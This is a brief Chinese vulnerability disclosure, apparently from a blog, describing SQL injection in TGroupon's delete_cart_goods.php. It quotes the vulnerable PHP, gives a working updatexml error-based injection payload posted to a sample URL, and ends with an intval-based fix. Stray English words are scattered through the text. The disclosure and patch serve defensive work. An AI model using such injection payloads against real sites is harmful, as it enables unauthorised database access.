TGroupon其实就是ECSHOP修改的。php
漏洞文件:sql
delete_cart_goods.phpide
if($_POST['id']) { $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id']; $GLOBALS['db']->query($sql); }
漏洞测试:测试
http://www.baidu.com/delete_cart_goods.php spa
POST:
xml
id=1%20or%20updatexml(1,concat(0x7e,user(),0x7e),0)
修复:第一个 IF 代码语句blog
if($_POST['id']) { $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id']; $GLOBALS['db']->query($sql); }
换成以下代码:
ci
if($_POST['id']) { $id=intval($_POST['id']);//增长转换类型 By:i2ty,这样能够防止传入其余的东西进来 if($id==0){ exit;//当错误时退出。 }else{ $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$id; $GLOBALS['db']->query($sql); } }